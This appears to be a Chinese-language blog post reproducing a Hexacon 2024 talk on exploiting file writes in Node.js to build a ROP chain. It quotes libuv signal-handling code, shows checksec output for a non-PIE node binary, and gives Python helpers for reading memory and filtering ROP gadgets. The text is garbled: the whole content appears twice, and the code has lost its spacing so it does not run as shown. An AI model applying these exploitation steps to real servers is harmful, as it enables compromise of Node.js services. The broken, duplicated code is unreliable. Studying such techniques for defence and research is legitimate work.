在 Hexacon 2024 上关注到了这么一个议题 《Exploiting File Writes in Hardened Environments - From HTTP Request to ROP Chain in Node.js 》, 同时该作者发了一个简单的 Blog 讲述了下这个原理以及部分细节。[1] 这里简单快速复现一下。
do { r = read(loop->signal_pipefd[0], buf + bytes, sizeof(buf) - bytes);
if (r == -1 && errno == EINTR) continue; ... /* `end` is rounded down to a multiple of sizeof(uv__signal_msg_t). */ end = (bytes / sizeof(uv__signal_msg_t)) * sizeof(uv__signal_msg_t);
for (i = 0; i < end; i += sizeof(uv__signal_msg_t)) { msg = (uv__signal_msg_t*) (buf + i); handle = msg->handle;
由于 FROM node:18@sha256:f910225c96b0f77b0149f350a3184568a9ba6cddba2a7c7805cc125a50591605 我们这个方式拉取的 node 程序本身是没有开PIE的
1 2 3 4 5 6 7 8 9
osboxes@osboxes:~$ checksec node [*] '/home/osboxes/node' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No Debuginfo: Yes
defread_mem(addr, size): if0x0000000000400000< addr< 0x0000000004ff1000: base = 0x0000000000400000 data = mem1[addr-base: addr+size-base] elif0x00000000051f1000 < addr < 0x00000000051f4000: base = 0x00000000051f1000 data = mem2[addr-base: addr+size-base] elif0x00000000051f4000 < addr < 0x000000000520f000: base = 0x00000000051f4000 data = mem3[addr-base: addr+size-base] else: returnNone return data
defis_useful_gadget(out): dis_list = out.split('\n') for n, x inenumerate(dis_list): if x == 'ret': for _ inrange(0, n): if'bad'in dis_list[_] : returnFalse returnTrue returnFalse
在 Hexacon 2024 上关注到了这么一个议题 《Exploiting File Writes in Hardened Environments - From HTTP Request to ROP Chain in Node.js 》, 同时该作者发了一个简单的 Blog 讲述了下这个原理以及部分细节。[1] 这里简单快速复现一下。
do { r = read(loop->signal_pipefd[0], buf + bytes, sizeof(buf) - bytes);
if (r == -1 && errno == EINTR) continue; ... /* `end` is rounded down to a multiple of sizeof(uv__signal_msg_t). */ end = (bytes / sizeof(uv__signal_msg_t)) * sizeof(uv__signal_msg_t);
for (i = 0; i < end; i += sizeof(uv__signal_msg_t)) { msg = (uv__signal_msg_t*) (buf + i); handle = msg->handle;
由于 FROM node:18@sha256:f910225c96b0f77b0149f350a3184568a9ba6cddba2a7c7805cc125a50591605 我们这个方式拉取的 node 程序本身是没有开PIE的
1 2 3 4 5 6 7 8 9
osboxes@osboxes:~$ checksec node [*] '/home/osboxes/node' Arch: amd64-64-little RELRO: Full RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No Debuginfo: Yes
defread_mem(addr, size): if0x0000000000400000< addr< 0x0000000004ff1000: base = 0x0000000000400000 data = mem1[addr-base: addr+size-base] elif0x00000000051f1000 < addr < 0x00000000051f4000: base = 0x00000000051f1000 data = mem2[addr-base: addr+size-base] elif0x00000000051f4000 < addr < 0x000000000520f000: base = 0x00000000051f4000 data = mem3[addr-base: addr+size-base] else: returnNone return data
defis_useful_gadget(out): dis_list = out.split('\n') for n, x inenumerate(dis_list): if x == 'ret': for _ inrange(0, n): if'bad'in dis_list[_] : returnFalse returnTrue returnFalse